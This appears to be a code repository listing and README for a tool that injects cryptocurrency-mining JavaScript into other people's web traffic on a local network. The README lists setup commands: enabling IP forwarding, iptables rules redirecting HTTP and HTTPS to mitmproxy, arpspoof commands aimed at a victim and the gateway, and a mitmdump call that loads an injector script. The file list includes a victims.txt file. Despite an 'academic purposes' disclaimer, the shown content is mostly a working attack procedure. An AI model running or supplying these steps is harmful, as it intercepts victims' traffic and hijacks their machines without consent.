arnaucode c5c24b6bd2 | 7 years ago | |
---|---|---|
miner_script | 7 years ago | |
LICENSE | 7 years ago | |
README.md | 7 years ago | |
httpServer.py | 7 years ago | |
injector.py | 7 years ago | |
install.sh | 7 years ago | |
run.py | 7 years ago | |
victims.txt | 7 years ago |
Collaborative Coffee Mining Pool.
Warning: this project is only with academic purposes.
bash install.sh
python run.py ipgateway
needs to have installed mitmproxy https://mitmproxy.org/
sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev
pip3 install --user mitmproxy
needs python 3.*
configure IPTABLES
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t <victim_ip> <gateway_ip>
arpspoof -i eth0 -t <gateway_ip> <victim_ip>
python httpServer.py
#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js"